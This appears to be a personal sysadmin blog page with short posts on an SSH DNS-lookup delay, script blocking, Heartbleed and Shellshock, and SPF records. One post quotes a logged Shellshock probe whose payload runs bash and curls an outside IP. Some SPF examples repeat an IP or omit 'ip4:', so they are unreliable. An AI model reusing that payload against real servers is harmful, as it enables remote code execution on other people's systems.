分类： 网络

SSH Logon takes long time?

I’ve been suffering from this on CentOS 7 for quite some time now but haven’t really have time to dig into it.

Just today, I noticed the line after a successful logon:

Last login: Fri March 27 16:03:23 2016 from gateway.

Aha, now I know where the time has been spent. The SSHd must have taken a long time to figure out the host name of my login IP.

I’ve suspected this before, but in my sshd_config file, the line “UseDNS” was commented out, so I thought it must be something else.

A simple “man sshd_config” revealed that, “UseDNS yes” is actually the default setting:

UseDNS  Specifies whether sshd(8) should look up the remote host name and check that the resolved host name for the remote IP address maps back to the very same IP address.  The default is “yes”.

So I just add “UseDNS no” in the configuration file and restarted sshd. Problem solved.

 

How to dodge “the Great Cannon”

I don’t want to go in details and risk my own blog. So basically one of the scripts that’s very common among websites is targeted and redirection code was injected.

Using Adblock, you can simply block this script:

http://platform.twitter.com/widgets.js

And then you won’t get redirected. It’s that simple. 🙂

There might be other scripts I haven’t encounter yet, but you should be able to use the same technique to block them as well.

Targeted after 3 days

176.102.38.77 - - [27/Sep/2014:04:54:05 +0800] "HEAD /cgi-bin/ HTTP/1.1" 403 158 "-" "() { :;}; /bin/bash -c 'curl http://176.102.38.77/search/e.php?h=<site-name-masked-off>/cgi-bin/'"

This is the first sign on my server that someone try to exploit the potential Shellshock vulnerability on my server, just 3 days after the vulnerability was disclosed. Should I feel happy that I actually get high attention? Luckily I patched this server the next day the vulnerability was disclosed.

Vulnerability found in Bash

2014 must be a really bad year for open source community in security.

Less than 6 months after Heartbleed was found in OpenSSL, now Bash is found vulnerable of remote code execution. This time I’m not sure it’s because of poor funding or something else.

Maybe it’s a good time now to look back on how did the Heartbleed bug come about. Mr. Bruce Schenier posted a very good article on this.

Heartbleed vulnerability

Just saw some friends sharing this in Wechat. Seems I will have a lot of work to do – patching my servers, replacing certificates, regenerating keys, etc.:(

It’s really unbelievable. This will be a big blow on the open source community. I already saw people saying “see? Open source is no securer”. Well, they are right.

To me, this has nothing to do with open source or not. M$ may have something even worse but you will need longer time to find out. I just searched the web and found that as a library that has been so widely used, OpenSSL has only one full time developer and receives on average $2,000 donation per year. What do you expect?

But that simply won’t justify such a disaster and it will cast a bad image for open source community in general. I can only hope leaders in this industry see this differently and start to support these great open source projects. They deserve better!

spf记录怎么用

曾经稀里糊涂地用过好几回，但是一直没有认真研究过。论坛上关于使用方法众说纷纭，可能分别适用于不同的场景，但是很少看到完整的介绍。刚刚看到DigitalOcean上这一篇文章说的比较清楚了。

How To use an SPF Record to Prevent Spoofing & Improve E-mail Reliability

作为一个text记录，spf字段的结构如下：

<spf preamble> <address list>

v=spf1 spf记录的起始标志。目前只有1号版本的spf，所以只有这一种写法。

后面是一个地址或者名称的列表，列表项用空格符隔开。

在每个地址列表项之前，可以有如下四种修饰符：

  1. + 表示该地址被明确允许发送来自该域名的邮件。该修饰符可省略。
  2. – 表示该地址被明确禁止发送来自该域名的邮件。
  3. ? 表示对该地址目前暂时没有策略。
  4. ~ 表示对该地址应该使用柔性策略，接收方应该接受，但是可以进行特殊标记。

地址列表项本身有如下几种格式：

  1. all 匹配任何地址；
  2. a 匹配该域中任何A记录地址；
  3. ip4: 匹配紧随其后的IPv4地址或者地址段；
  4. ip6: 匹配紧随其后的IPv6地址或者地址段；
  5. mx 匹配该域中的任何mx记录地址；

因此，假设一个域domainabc.com有spf记录如下：

v=spf1 ip4:123.23.4.5 -all

这个记录的意思是，除了123.23.4.5这个地址之外，其他任何地址发送来自domainabc.com的邮件，都应该被拒绝。

考虑到高可用性，一个域通常至少有两台smtp服务器在工作，因此这条记录更可能是这样的：

v=spf1 ip4:123.23.4.5 ip4:123.23.4.5 -all

如果该域之前已经有MX记录，指向就是123.23.4.5和123.23.4.6，那么该记录可以简化为：

v=spf1 mx -all

如果有一天，domainabc.com需要额外允许一个网段发送邮件，可以将记录改为：

v=spf1 mx ip4:107.8.9.0/24 -all

假设domainabc.com需要迁移自己的邮件服务器，mx记录已经切换，但是原本的邮件服务器需要逐步停止使用，那么可以首先这么修改：

v=spf1 mx ip4:107.8.9.0/24 ?123.23.4.5 -all

其中123.23.4.5是准备退休的邮件服务器。经过一段时间之后，可以再把记录改为：

v=spf1 mx ip4:107.8.9.0/24 ~123.23.4.5 -all

最后，确认所有内部应用都开始使用新的服务器了，再把原来的服务器地址防到禁止列表里去。

v=spf1 mx ip4:107.8.9.0/24 -all

注意最后的“-all”匹配任意地址。就是这样。